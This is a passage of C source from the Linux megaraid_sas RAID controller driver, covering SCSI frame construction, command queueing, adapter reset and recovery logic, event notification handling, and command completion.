frames * @frame_type : type of frame- io or pthru frame * @sge_count : number of sg elements * * Returns the number of frames required for numnber of sge's (sge_count) */ static u32 megasas_get_frame_count(struct megasas_instance *instance, u8 sge_count, u8 frame_type) { int num_cnt; int sge_bytes; u32 sge_sz; u32 frame_count=0; sge_sz = (IS_DMA64) ? sizeof(struct megasas_sge64) : sizeof(struct megasas_sge32); if (instance->flag_ieee) { sge_sz = sizeof(struct megasas_sge_skinny); } /* * Main frame can contain 2 SGEs for 64-bit SGLs and * 3 SGEs for 32-bit SGLs for ldio & * 1 SGEs for 64-bit SGLs and * 2 SGEs for 32-bit SGLs for pthru frame */ if (unlikely(frame_type == PTHRU_FRAME)) { if (instance->flag_ieee == 1) { num_cnt = sge_count - 1; } else if (IS_DMA64) num_cnt = sge_count - 1; else num_cnt = sge_count - 2; } else { if (instance->flag_ieee == 1) { num_cnt = sge_count - 1; } else if (IS_DMA64) num_cnt = sge_count - 2; else num_cnt = sge_count - 3; } if(num_cnt>0){ sge_bytes = sge_sz * num_cnt; frame_count = (sge_bytes / MEGAMFI_FRAME_SIZE) + ((sge_bytes % MEGAMFI_FRAME_SIZE) ? 1 : 0) ; } /* Main frame */ frame_count +=1; if (frame_count > 7) frame_count = 8; return frame_count; } /** * megasas_build_dcdb - Prepares a direct cdb (DCDB) command * @instance: Adapter soft state * @scp: SCSI command * @cmd: Command to be prepared in * * This function prepares CDB commands. These are typcially pass-through * commands to the devices. */ static int megasas_build_dcdb(struct megasas_instance *instance, struct scsi_cmnd *scp, struct megasas_cmd *cmd) { u32 is_logical; u32 device_id; u16 flags = 0; struct megasas_pthru_frame *pthru; is_logical = MEGASAS_IS_LOGICAL(scp); device_id = MEGASAS_DEV_INDEX(instance, scp); pthru = (struct megasas_pthru_frame *)cmd->frame; if (scp->sc_data_direction == PCI_DMA_TODEVICE) flags = MFI_FRAME_DIR_WRITE; else if (scp->sc_data_direction == PCI_DMA_FROMDEVICE) flags = MFI_FRAME_DIR_READ; else if (scp->sc_data_direction == PCI_DMA_NONE) flags = MFI_FRAME_DIR_NONE; if (instance->flag_ieee == 1) { flags |= MFI_FRAME_IEEE; } /* * Prepare the DCDB frame */ pthru->cmd = (is_logical) ? MFI_CMD_LD_SCSI_IO : MFI_CMD_PD_SCSI_IO; pthru->cmd_status = 0x0; pthru->scsi_status = 0x0; pthru->target_id = device_id; pthru->lun = scp->device->lun; pthru->cdb_len = scp->cmd_len; pthru->timeout = 0; pthru->pad_0 = 0; pthru->flags = flags; pthru->data_xfer_len = scsi_bufflen(scp); memcpy(pthru->cdb, scp->cmnd, scp->cmd_len); /* * If the command is for the tape device, set the * pthru timeout to the os layer timeout value. */ if (scp->device->type == TYPE_TAPE) { if ((scp->request->timeout / HZ) > 0xFFFF) pthru->timeout = 0xFFFF; else pthru->timeout = scp->request->timeout / HZ; } /* * Construct SGL */ if (instance->flag_ieee == 1) { pthru->flags |= MFI_FRAME_SGL64; pthru->sge_count = megasas_make_sgl_skinny(instance, scp, &pthru->sgl); } else if (IS_DMA64) { pthru->flags |= MFI_FRAME_SGL64; pthru->sge_count = megasas_make_sgl64(instance, scp, &pthru->sgl); } else pthru->sge_count = megasas_make_sgl32(instance, scp, &pthru->sgl); if (pthru->sge_count > instance->max_num_sge) { printk(KERN_ERR "megasas: DCDB two many SGE NUM=%x\n", pthru->sge_count); return 0; } /* * Sense info specific */ pthru->sense_len = SCSI_SENSE_BUFFERSIZE; pthru->sense_buf_phys_addr_hi = 0; pthru->sense_buf_phys_addr_lo = cmd->sense_phys_addr; /* * Compute the total number of frames this command consumes. FW uses * this number to pull sufficient number of frames from host memory. */ cmd->frame_count = megasas_get_frame_count(instance, pthru->sge_count, PTHRU_FRAME); return cmd->frame_count; } /** * megasas_build_ldio - Prepares IOs to logical devices * @instance: Adapter soft state * @scp: SCSI command * @cmd: Command to be prepared * * Frames (and accompanying SGLs) for regular SCSI IOs use this function. */ static int megasas_build_ldio(struct megasas_instance *instance, struct scsi_cmnd *scp, struct megasas_cmd *cmd) { u32 device_id; u8 sc = scp->cmnd[0]; u16 flags = 0; struct megasas_io_frame *ldio; device_id = MEGASAS_DEV_INDEX(instance, scp); ldio = (struct megasas_io_frame *)cmd->frame; if (scp->sc_data_direction == PCI_DMA_TODEVICE) flags = MFI_FRAME_DIR_WRITE; else if (scp->sc_data_direction == PCI_DMA_FROMDEVICE) flags = MFI_FRAME_DIR_READ; if (instance->flag_ieee == 1) { flags |= MFI_FRAME_IEEE; } /* * Prepare the Logical IO frame: 2nd bit is zero for all read cmds */ ldio->cmd = (sc & 0x02) ? MFI_CMD_LD_WRITE : MFI_CMD_LD_READ; ldio->cmd_status = 0x0; ldio->scsi_status = 0x0; ldio->target_id = device_id; ldio->timeout = 0; ldio->reserved_0 = 0; ldio->pad_0 = 0; ldio->flags = flags; ldio->start_lba_hi = 0; ldio->access_byte = (scp->cmd_len != 6) ? scp->cmnd[1] : 0; /* * 6-byte READ(0x08) or WRITE(0x0A) cdb */ if (scp->cmd_len == 6) { ldio->lba_count = (u32) scp->cmnd[4]; ldio->start_lba_lo = ((u32) scp->cmnd[1] << 16) | ((u32) scp->cmnd[2] << 8) | (u32) scp->cmnd[3]; ldio->start_lba_lo &= 0x1FFFFF; } /* * 10-byte READ(0x28) or WRITE(0x2A) cdb */ else if (scp->cmd_len == 10) { ldio->lba_count = (u32) scp->cmnd[8] | ((u32) scp->cmnd[7] << 8); ldio->start_lba_lo = ((u32) scp->cmnd[2] << 24) | ((u32) scp->cmnd[3] << 16) | ((u32) scp->cmnd[4] << 8) | (u32) scp->cmnd[5]; } /* * 12-byte READ(0xA8) or WRITE(0xAA) cdb */ else if (scp->cmd_len == 12) { ldio->lba_count = ((u32) scp->cmnd[6] << 24) | ((u32) scp->cmnd[7] << 16) | ((u32) scp->cmnd[8] << 8) | (u32) scp->cmnd[9]; ldio->start_lba_lo = ((u32) scp->cmnd[2] << 24) | ((u32) scp->cmnd[3] << 16) | ((u32) scp->cmnd[4] << 8) | (u32) scp->cmnd[5]; } /* * 16-byte READ(0x88) or WRITE(0x8A) cdb */ else if (scp->cmd_len == 16) { ldio->lba_count = ((u32) scp->cmnd[10] << 24) | ((u32) scp->cmnd[11] << 16) | ((u32) scp->cmnd[12] << 8) | (u32) scp->cmnd[13]; ldio->start_lba_lo = ((u32) scp->cmnd[6] << 24) | ((u32) scp->cmnd[7] << 16) | ((u32) scp->cmnd[8] << 8) | (u32) scp->cmnd[9]; ldio->start_lba_hi = ((u32) scp->cmnd[2] << 24) | ((u32) scp->cmnd[3] << 16) | ((u32) scp->cmnd[4] << 8) | (u32) scp->cmnd[5]; } /* * Construct SGL */ if (instance->flag_ieee) { ldio->flags |= MFI_FRAME_SGL64; ldio->sge_count = megasas_make_sgl_skinny(instance, scp, &ldio->sgl); } else if (IS_DMA64) { ldio->flags |= MFI_FRAME_SGL64; ldio->sge_count = megasas_make_sgl64(instance, scp, &ldio->sgl); } else ldio->sge_count = megasas_make_sgl32(instance, scp, &ldio->sgl); if (ldio->sge_count > instance->max_num_sge) { printk(KERN_ERR "megasas: build_ld_io: sge_count = %x\n", ldio->sge_count); return 0; } /* * Sense info specific */ ldio->sense_len = SCSI_SENSE_BUFFERSIZE; ldio->sense_buf_phys_addr_hi = 0; ldio->sense_buf_phys_addr_lo = cmd->sense_phys_addr; /* * Compute the total number of frames this command consumes. FW uses * this number to pull sufficient number of frames from host memory. */ cmd->frame_count = megasas_get_frame_count(instance, ldio->sge_count, IO_FRAME); return cmd->frame_count; } /** * megasas_is_ldio - Checks if the cmd is for logical drive * @scmd: SCSI command * * Called by megasas_queue_command to find out if the command to be queued * is a logical drive command */ inline int megasas_is_ldio(struct scsi_cmnd *cmd) { if (!MEGASAS_IS_LOGICAL(cmd)) return 0; switch (cmd->cmnd[0]) { case READ_10: case WRITE_10: case READ_12: case WRITE_12: case READ_6: case WRITE_6: case READ_16: case WRITE_16: return 1; default: return 0; } } /** * megasas_dump_pending_frames - Dumps the frame address of all pending cmds * in FW * @instance: Adapter soft state */ static inline void megasas_dump_pending_frames(struct megasas_instance *instance) { struct megasas_cmd *cmd; int i,n; union megasas_sgl *mfi_sgl; struct megasas_io_frame *ldio; struct megasas_pthru_frame *pthru; u32 sgcount; u32 max_cmd = instance->max_fw_cmds; printk(KERN_ERR "\nmegasas[%d]: Dumping Frame Phys Address of all pending cmds in FW\n",instance->host->host_no); printk(KERN_ERR "megasas[%d]: Total OS Pending cmds : %d\n",instance->host->host_no,atomic_read(&instance->fw_outstanding)); if (IS_DMA64) printk(KERN_ERR "\nmegasas[%d]: 64 bit SGLs were sent to FW\n",instance->host->host_no); else printk(KERN_ERR "\nmegasas[%d]: 32 bit SGLs were sent to FW\n",instance->host->host_no); printk(KERN_ERR "megasas[%d]: Pending OS cmds in FW : \n",instance->host->host_no); for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; if(!cmd->scmd) continue; printk(KERN_ERR "megasas[%d]: Frame addr :0x%08lx : ",instance->host->host_no,(unsigned long)cmd->frame_phys_addr); if (megasas_is_ldio(cmd->scmd)){ ldio = (struct megasas_io_frame *)cmd->frame; mfi_sgl = &ldio->sgl; sgcount = ldio->sge_count; printk(KERN_ERR "megasas[%d]: frame count : 0x%x, Cmd : 0x%x, Tgt id : 0x%x, lba lo : 0x%x, lba_hi : 0x%x, sense_buf addr : 0x%x,sge count : 0x%x\n",instance->host->host_no, cmd->frame_count,ldio->cmd,ldio->target_id, ldio->start_lba_lo,ldio->start_lba_hi,ldio->sense_buf_phys_addr_lo,sgcount); } else { pthru = (struct megasas_pthru_frame *) cmd->frame; mfi_sgl = &pthru->sgl; sgcount = pthru->sge_count; printk(KERN_ERR "megasas[%d]: frame count : 0x%x, Cmd : 0x%x, Tgt id : 0x%x, lun : 0x%x, cdb_len : 0x%x, data xfer len : 0x%x, sense_buf addr : 0x%x,sge count : 0x%x\n",instance->host->host_no,cmd->frame_count,pthru->cmd,pthru->target_id,pthru->lun,pthru->cdb_len , pthru->data_xfer_len,pthru->sense_buf_phys_addr_lo,sgcount); } if(megasas_dbg_lvl & MEGASAS_DBG_LVL){ for (n = 0; n < sgcount; n++){ if (IS_DMA64) printk(KERN_ERR "megasas: sgl len : 0x%x, sgl addr : 0x%08lx ",mfi_sgl->sge64[n].length , (unsigned long)mfi_sgl->sge64[n].phys_addr) ; else printk(KERN_ERR "megasas: sgl len : 0x%x, sgl addr : 0x%x ",mfi_sgl->sge32[n].length , mfi_sgl->sge32[n].phys_addr) ; } } printk(KERN_ERR "\n"); } /*for max_cmd*/ printk(KERN_ERR "\nmegasas[%d]: Pending Internal cmds in FW : \n",instance->host->host_no); for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; if(cmd->sync_cmd == 1){ printk(KERN_ERR "0x%08lx : ", (unsigned long)cmd->frame_phys_addr); } } printk(KERN_ERR "megasas[%d]: Dumping Done.\n\n",instance->host->host_no); } u32 megasas_build_and_issue_cmd(struct megasas_instance *instance, struct scsi_cmnd *scmd) { struct megasas_cmd *cmd; u32 frame_count; cmd = megasas_get_cmd(instance); if (!cmd) return SCSI_MLQUEUE_HOST_BUSY; /* * Logical drive command */ if (megasas_is_ldio(scmd)) frame_count = megasas_build_ldio(instance, scmd, cmd); else frame_count = megasas_build_dcdb(instance, scmd, cmd); if (!frame_count) goto out_return_cmd; cmd->scmd = scmd; scmd->SCp.ptr = (char *)cmd; /* * Issue the command to the FW */ atomic_inc(&instance->fw_outstanding); instance->instancet->fire_cmd(instance, cmd->frame_phys_addr, cmd->frame_count-1, instance->reg_set); return 0; out_return_cmd: megasas_return_cmd(instance, cmd); return 1; } /** * megasas_queue_command - Queue entry point * @scmd: SCSI command to be queued * @done: Callback entry point */ static int megasas_queue_command(struct scsi_cmnd *scmd, void (*done) (struct scsi_cmnd *)) { struct megasas_instance *instance; unsigned long flags; instance = (struct megasas_instance *) scmd->device->host->hostdata; if (instance->issuepend_done == 0) return SCSI_MLQUEUE_HOST_BUSY; spin_lock_irqsave(&instance->hba_lock, flags); if (instance->adprecovery != MEGASAS_HBA_OPERATIONAL) { spin_unlock_irqrestore(&instance->hba_lock, flags); return SCSI_MLQUEUE_HOST_BUSY; } spin_unlock_irqrestore(&instance->hba_lock, flags); scmd->scsi_done = done; scmd->result = 0; if (MEGASAS_IS_LOGICAL(scmd) && (scmd->device->id >= MEGASAS_MAX_LD || scmd->device->lun)) { scmd->result = DID_BAD_TARGET << 16; goto out_done; } switch (scmd->cmnd[0]) { case SYNCHRONIZE_CACHE: /* * FW takes care of flush cache on its own * No need to send it down */ scmd->result = DID_OK << 16; goto out_done; default: break; } if (instance->instancet->build_and_issue_cmd(instance, scmd)) { printk(KERN_ERR "megasas: Err returned from build_and_issue_cmd\n"); return SCSI_MLQUEUE_HOST_BUSY; } return 0; out_done: done(scmd); return 0; } static struct megasas_instance *megasas_lookup_instance(u16 host_no) { int i; for (i = 0; i < megasas_mgmt_info.max_index; i++) { if ((megasas_mgmt_info.instance[i]) && (megasas_mgmt_info.instance[i]->host->host_no == host_no)) return megasas_mgmt_info.instance[i]; } return NULL; } static int megasas_slave_configure(struct scsi_device *sdev) { u16 pd_index = 0; struct megasas_instance *instance ; instance = megasas_lookup_instance(sdev->host->host_no); /* * Don't export physical disk devices to the disk driver. * * FIXME: Currently we don't export them to the midlayer at all. * That will be fixed once LSI engineers have audited the * firmware for possible issues. */ if (sdev->channel < MEGASAS_MAX_PD_CHANNELS && sdev->type == TYPE_DISK) { pd_index = (sdev->channel * MEGASAS_MAX_DEV_PER_CHANNEL) + sdev->id; if (instance->pd_list[pd_index].driveState == MR_PD_STATE_SYSTEM) { blk_queue_rq_timeout(sdev->request_queue, MEGASAS_DEFAULT_CMD_TIMEOUT * HZ); return 0; } return -ENXIO; } /* * The RAID firmware may require extended timeouts. */ blk_queue_rq_timeout(sdev->request_queue, MEGASAS_DEFAULT_CMD_TIMEOUT * HZ); return 0; } static int megasas_slave_alloc(struct scsi_device *sdev) { u16 pd_index = 0; struct megasas_instance *instance ; instance = megasas_lookup_instance(sdev->host->host_no); if ((sdev->channel < MEGASAS_MAX_PD_CHANNELS) && (sdev->type == TYPE_DISK)) { /* * Open the OS scan to the SYSTEM PD */ pd_index = (sdev->channel * MEGASAS_MAX_DEV_PER_CHANNEL) + sdev->id; if ((instance->pd_list[pd_index].driveState == MR_PD_STATE_SYSTEM) && (instance->pd_list[pd_index].driveType == TYPE_DISK)) { return 0; } return -ENXIO; } return 0; } void megaraid_sas_kill_hba(struct megasas_instance *instance) { if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { writel(MFI_STOP_ADP, &instance->reg_set->doorbell); } else { writel(MFI_STOP_ADP, &instance->reg_set->inbound_doorbell); } } /** * megasas_check_and_restore_queue_depth - Check if queue depth needs to be * restored to max value * @instance: Adapter soft state * */ void megasas_check_and_restore_queue_depth(struct megasas_instance *instance) { unsigned long flags; if (instance->flag & MEGASAS_FW_BUSY && time_after(jiffies, instance->last_time + 5 * HZ) && atomic_read(&instance->fw_outstanding) < instance->throttlequeuedepth + 1) { spin_lock_irqsave(instance->host->host_lock, flags); instance->flag &= ~MEGASAS_FW_BUSY; if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY)) { instance->host->can_queue = instance->max_fw_cmds - MEGASAS_SKINNY_INT_CMDS; } else instance->host->can_queue = instance->max_fw_cmds - MEGASAS_INT_CMDS; spin_unlock_irqrestore(instance->host->host_lock, flags); } } /** * megasas_complete_cmd_dpc - Returns FW's controller structure * @instance_addr: Address of adapter soft state * * Tasklet to complete cmds */ static void megasas_complete_cmd_dpc(unsigned long instance_addr) { u32 producer; u32 consumer; u32 context; struct megasas_cmd *cmd; struct megasas_instance *instance = (struct megasas_instance *)instance_addr; unsigned long flags; /* If we have already declared adapter dead, donot complete cmds */ if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR ) return; spin_lock_irqsave(&instance->completion_lock, flags); producer = *instance->producer; consumer = *instance->consumer; while (consumer != producer) { context = instance->reply_queue[consumer]; if (context >= instance->max_fw_cmds) { printk(KERN_ERR "Unexpected context value %x\n", context); BUG(); } cmd = instance->cmd_list[context]; megasas_complete_cmd(instance, cmd, DID_OK); consumer++; if (consumer == (instance->max_fw_cmds + 1)) { consumer = 0; } } *instance->consumer = producer; spin_unlock_irqrestore(&instance->completion_lock, flags); /* * Check if we can restore can_queue */ megasas_check_and_restore_queue_depth(instance); } static void megasas_internal_reset_defer_cmds(struct megasas_instance *instance); static void process_fw_state_change_wq(struct work_struct *work); void megasas_do_ocr(struct megasas_instance *instance) { if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1064R) || (instance->pdev->device == PCI_DEVICE_ID_DELL_PERC5) || (instance->pdev->device == PCI_DEVICE_ID_LSI_VERDE_ZCR)) { *instance->consumer = MEGASAS_ADPRESET_INPROG_SIGN; } instance->instancet->disable_intr(instance->reg_set); instance->adprecovery = MEGASAS_ADPRESET_SM_INFAULT; instance->issuepend_done = 0; atomic_set(&instance->fw_outstanding, 0); megasas_internal_reset_defer_cmds(instance); process_fw_state_change_wq(&instance->work_init); } /** * megasas_wait_for_outstanding - Wait for all outstanding cmds * @instance: Adapter soft state * * This function waits for up to MEGASAS_RESET_WAIT_TIME seconds for FW to * complete all its outstanding commands. Returns error if one or more IOs * are pending after this time period. It also marks the controller dead. */ static int megasas_wait_for_outstanding(struct megasas_instance *instance) { int i; u32 reset_index; u32 wait_time = MEGASAS_RESET_WAIT_TIME; u8 adprecovery; unsigned long flags; struct list_head clist_local; struct megasas_cmd *reset_cmd; u32 fw_state; u8 kill_adapter_flag; spin_lock_irqsave(&instance->hba_lock, flags); adprecovery = instance->adprecovery; spin_unlock_irqrestore(&instance->hba_lock, flags); if (adprecovery != MEGASAS_HBA_OPERATIONAL) { INIT_LIST_HEAD(&clist_local); spin_lock_irqsave(&instance->hba_lock, flags); list_splice_init(&instance->internal_reset_pending_q, &clist_local); spin_unlock_irqrestore(&instance->hba_lock, flags); printk(KERN_NOTICE "megasas: HBA reset wait ...\n"); for (i = 0; i < wait_time; i++) { msleep(1000); spin_lock_irqsave(&instance->hba_lock, flags); adprecovery = instance->adprecovery; spin_unlock_irqrestore(&instance->hba_lock, flags); if (adprecovery == MEGASAS_HBA_OPERATIONAL) break; } if (adprecovery != MEGASAS_HBA_OPERATIONAL) { printk(KERN_NOTICE "megasas: reset: Stopping HBA.\n"); spin_lock_irqsave(&instance->hba_lock, flags); instance->adprecovery = MEGASAS_HW_CRITICAL_ERROR; spin_unlock_irqrestore(&instance->hba_lock, flags); return FAILED; } reset_index = 0; while (!list_empty(&clist_local)) { reset_cmd = list_entry((&clist_local)->next, struct megasas_cmd, list); list_del_init(&reset_cmd->list); if (reset_cmd->scmd) { reset_cmd->scmd->result = DID_RESET << 16; printk(KERN_NOTICE "%d:%p reset [%02x], %#lx\n", reset_index, reset_cmd, reset_cmd->scmd->cmnd[0], reset_cmd->scmd->serial_number); reset_cmd->scmd->scsi_done(reset_cmd->scmd); megasas_return_cmd(instance, reset_cmd); } else if (reset_cmd->sync_cmd) { printk(KERN_NOTICE "megasas:%p synch cmds" "reset queue\n", reset_cmd); reset_cmd->cmd_status = ENODATA; instance->instancet->fire_cmd(instance, reset_cmd->frame_phys_addr, 0, instance->reg_set); } else { printk(KERN_NOTICE "megasas: %p unexpected" "cmds lst\n", reset_cmd); } reset_index++; } return SUCCESS; } for (i = 0; i < resetwaittime; i++) { int outstanding = atomic_read(&instance->fw_outstanding); if (!outstanding) break; if (!(i % MEGASAS_RESET_NOTICE_INTERVAL)) { printk(KERN_NOTICE "megasas: [%2d]waiting for %d " "commands to complete\n",i,outstanding); /* * Call cmd completion routine. Cmd to be * be completed directly without depending on isr. */ megasas_complete_cmd_dpc((unsigned long)instance); } msleep(1000); } i = 0; kill_adapter_flag = 0; do { fw_state = instance->instancet->read_fw_status_reg( instance->reg_set) & MFI_STATE_MASK; if ((fw_state == MFI_STATE_FAULT) && (instance->disableOnlineCtrlReset == 0)) { if (i == 3) { kill_adapter_flag = 2; break; } megasas_do_ocr(instance); kill_adapter_flag = 1; /* wait for 1 secs to let FW finish the pending cmds */ msleep(1000); } i++; } while (i <= 3); if (atomic_read(&instance->fw_outstanding) && !kill_adapter_flag) { if (instance->disableOnlineCtrlReset == 0) { megasas_do_ocr(instance); /* wait for 5 secs to let FW finish the pending cmds */ for (i = 0; i < wait_time; i++) { int outstanding = atomic_read(&instance->fw_outstanding); if (!outstanding) return SUCCESS; msleep(1000); } } } if (atomic_read(&instance->fw_outstanding) || (kill_adapter_flag == 2)) { printk(KERN_NOTICE "megaraid_sas: pending cmds after reset\n"); /* * Send signal to FW to stop processing any pending cmds. * The controller will be taken offline by the OS now. */ if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY)) { writel(MFI_STOP_ADP, &instance->reg_set->doorbell); } else { writel(MFI_STOP_ADP, &instance->reg_set->inbound_doorbell); } megasas_dump_pending_frames(instance); spin_lock_irqsave(&instance->hba_lock, flags); instance->adprecovery = MEGASAS_HW_CRITICAL_ERROR; spin_unlock_irqrestore(&instance->hba_lock, flags); return FAILED; } printk(KERN_NOTICE "megaraid_sas: no pending cmds after reset\n"); return SUCCESS; } /** * megasas_generic_reset - Generic reset routine * @scmd: Mid-layer SCSI command * * This routine implements a generic reset handler for device, bus and host * reset requests. Device, bus and host specific reset handlers can use this * function after they do their specific tasks. */ static int megasas_generic_reset(struct scsi_cmnd *scmd) { int ret_val; struct megasas_instance *instance; instance = (struct megasas_instance *)scmd->device->host->hostdata; scmd_printk(KERN_NOTICE, scmd, "megasas: RESET -%ld cmd=%x retries=%x\n", scmd->serial_number, scmd->cmnd[0], scmd->retries); if (instance->adprecovery == MEGASAS_HW_CRITICAL_ERROR) { printk(KERN_ERR "megasas: cannot recover from previous reset " "failures\n"); return FAILED; } ret_val = megasas_wait_for_outstanding(instance); if (ret_val == SUCCESS) printk(KERN_NOTICE "megasas: reset successful \n"); else printk(KERN_ERR "megasas: failed to do reset\n"); return ret_val; } /** * megasas_reset_timer - quiesce the adapter if required * @scmd: scsi cmnd * * Sets the FW busy flag and reduces the host->can_queue if the * cmd has not been completed within the timeout period. */ static enum blk_eh_timer_return megasas_reset_timer(struct scsi_cmnd *scmd) { struct megasas_instance *instance; unsigned long flags; if (time_after(jiffies, scmd->jiffies_at_alloc + (MEGASAS_DEFAULT_CMD_TIMEOUT * 2) * HZ)) { return BLK_EH_NOT_HANDLED; } instance = (struct megasas_instance *)scmd->device->host->hostdata; if (!(instance->flag & MEGASAS_FW_BUSY)) { /* FW is busy, throttle IO */ spin_lock_irqsave(instance->host->host_lock, flags); instance->host->can_queue = instance->throttlequeuedepth; instance->last_time = jiffies; instance->flag |= MEGASAS_FW_BUSY; spin_unlock_irqrestore(instance->host->host_lock, flags); } return BLK_EH_RESET_TIMER; } /** * megasas_reset_device - Device reset handler entry point */ static int megasas_reset_device(struct scsi_cmnd *scmd) { int ret; /* * First wait for all commands to complete */ ret = megasas_generic_reset(scmd); return ret; } /** * megasas_reset_bus_host - Bus & host reset handler entry point */ static int megasas_reset_bus_host(struct scsi_cmnd *scmd) { int ret; struct megasas_instance *instance; instance = (struct megasas_instance *)scmd->device->host->hostdata; /* * First wait for all commands to complete */ if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) ret = megasas_reset_fusion(scmd->device->host); else ret = megasas_generic_reset(scmd); return ret; } /** * megasas_bios_param - Returns disk geometry for a disk * @sdev: device handle * @bdev: block device * @capacity: drive capacity * @geom: geometry parameters */ static int megasas_bios_param(struct scsi_device *sdev, struct block_device *bdev, sector_t capacity, int geom[]) { int heads; int sectors; sector_t cylinders; unsigned long tmp; /* Default heads (64) & sectors (32) */ heads = 64; sectors = 32; tmp = heads * sectors; cylinders = capacity; sector_div(cylinders, tmp); /* * Handle extended translation size for logical drives > 1Gb */ if (capacity >= 0x200000) { heads = 255; sectors = 63; tmp = heads*sectors; cylinders = capacity; sector_div(cylinders, tmp); } geom[0] = heads; geom[1] = sectors; geom[2] = cylinders; return 0; } static void megasas_aen_polling(struct work_struct *work); /** * megasas_service_aen - Processes an event notification * @instance: Adapter soft state * @cmd: AEN command completed by the ISR * * For AEN, driver sends a command down to FW that is held by the FW till an * event occurs. When an event of interest occurs, FW completes the command * that it was previously holding. * * This routines sends SIGIO signal to processes that have registered with the * driver for AEN. */ static void megasas_service_aen(struct megasas_instance *instance, struct megasas_cmd *cmd) { unsigned long flags; /* * Don't signal app if it is just an aborted previously registered aen */ if ((!cmd->abort_aen) && (instance->unload == 0)) { spin_lock_irqsave(&poll_aen_lock, flags); megasas_poll_wait_aen = 1; spin_unlock_irqrestore(&poll_aen_lock, flags); wake_up(&megasas_poll_wait); kill_fasync(&megasas_async_queue, SIGIO, POLL_IN); } else cmd->abort_aen = 0; instance->aen_cmd = NULL; megasas_return_cmd(instance, cmd); if ((instance->unload == 0) && ((instance->issuepend_done == 1))) { struct megasas_aen_event *ev; ev = kzalloc(sizeof(*ev), GFP_ATOMIC); if (!ev) { printk(KERN_ERR "megasas_service_aen: out of memory\n"); } else { ev->instance = instance; instance->ev = ev; INIT_WORK(&ev->hotplug_work, megasas_aen_polling); schedule_delayed_work( (struct delayed_work *)&ev->hotplug_work, 0); } } } static int megasas_change_queue_depth(struct scsi_device *sdev, int queue_depth, int reason) { if (reason != SCSI_QDEPTH_DEFAULT) return -EOPNOTSUPP; if (queue_depth > sdev->host->can_queue) queue_depth = sdev->host->can_queue; scsi_adjust_queue_depth(sdev, scsi_get_tag_type(sdev), queue_depth); return queue_depth; } /* * Scsi host template for megaraid_sas driver */ static struct scsi_host_template megasas_template = { .module = THIS_MODULE, .name = "LSI SAS based MegaRAID driver", .proc_name = "megaraid_sas", .slave_configure = megasas_slave_configure, .slave_alloc = megasas_slave_alloc, .queuecommand = megasas_queue_command, .eh_device_reset_handler = megasas_reset_device, .eh_bus_reset_handler = megasas_reset_bus_host, .eh_host_reset_handler = megasas_reset_bus_host, .eh_timed_out = megasas_reset_timer, .bios_param = megasas_bios_param, .use_clustering = ENABLE_CLUSTERING, .change_queue_depth = megasas_change_queue_depth, }; /** * megasas_complete_int_cmd - Completes an internal command * @instance: Adapter soft state * @cmd: Command to be completed * * The megasas_issue_blocked_cmd() function waits for a command to complete * after it issues a command. This function wakes up that waiting routine by * calling wake_up() on the wait queue. */ static void megasas_complete_int_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd) { cmd->cmd_status = cmd->frame->io.cmd_status; if (cmd->cmd_status == ENODATA) { cmd->cmd_status = 0; } wake_up(&instance->int_cmd_wait_q); } /** * megasas_complete_abort - Completes aborting a command * @instance: Adapter soft state * @cmd: Cmd that was issued to abort another cmd * * The megasas_issue_blocked_abort_cmd() function waits on abort_cmd_wait_q * after it issues an abort on a previously issued command. This function * wakes up all functions waiting on the same wait queue. */ static void megasas_complete_abort(struct megasas_instance *instance, struct megasas_cmd *cmd) { if (cmd->sync_cmd) { cmd->sync_cmd = 0; cmd->cmd_status = 0; wake_up(&instance->abort_cmd_wait_q); } return; } /** * megasas_complete_cmd - Completes a command * @instance: Adapter soft state * @cmd: Command to be completed * @alt_status: If non-zero, use this value as status to * SCSI mid-layer instead of the value returned * by the FW. This should be used if caller wants * an alternate status (as in the case of aborted * commands) */ void megasas_complete_cmd(struct megasas_instance *instance, struct megasas_cmd *cmd, u8 alt_status) { int exception = 0; struct megasas_header *hdr = &cmd->frame->hdr; unsigned long flags; struct fusion_context *fusion = instance->ctrl_context; /* flag for the retry reset */ cmd->retry_for_fw_reset = 0; if (cmd->scmd) cmd->scmd->SCp.ptr = NULL; switch (hdr->cmd) { case MFI_CMD_INVALID: /* Some older 1068 controller FW may keep a pended MR_DCMD_CTRL_EVENT_GET_INFO left over from the main kernel when booting the kdump kernel. Ignore this command to prevent a kernel panic on shutdown of the kdump kernel. */ printk(KERN_WARNING "megaraid_sas: MFI_CMD_INVALID command " "completed.\n"); printk(KERN_WARNING "megaraid_sas: If you have a controller " "other than PERC5, please upgrade your firmware.\n"); break; case MFI_CMD_PD_SCSI_IO: case MFI_CMD_LD_SCSI_IO: /* * MFI_CMD_PD_SCSI_IO and MFI_CMD_LD_SCSI_IO could have been * issued either through an IO path or an IOCTL path. If it * was via IOCTL, we will send it to internal completion. */ if (cmd->sync_cmd) { cmd->sync_cmd = 0; megasas_complete_int_cmd(instance, cmd); break; } case MFI_CMD_LD_READ: case MFI_CMD_LD_WRITE: if (alt_status) { cmd->scmd->result = alt_status << 16; exception = 1; } if (exception) { atomic_dec(&instance->fw_outstanding); scsi_dma_unmap(cmd->scmd); cmd->scmd->scsi_done(cmd->scmd); megasas_return_cmd(instance, cmd); break; } switch (hdr->cmd_status) { case MFI_STAT_OK: cmd->scmd->result = DID_OK << 16; break; case MFI_STAT_SCSI_IO_FAILED: case MFI_STAT_LD_INIT_IN_PROGRESS: cmd->scmd->result = (DID_ERROR << 16) | hdr->scsi_status; break; case MFI_STAT_SCSI_DONE_WITH_ERROR: cmd->scmd->result = (DID_OK << 16) | hdr->scsi_status; if (hdr->scsi_status == SAM_STAT_CHECK_CONDITION) { 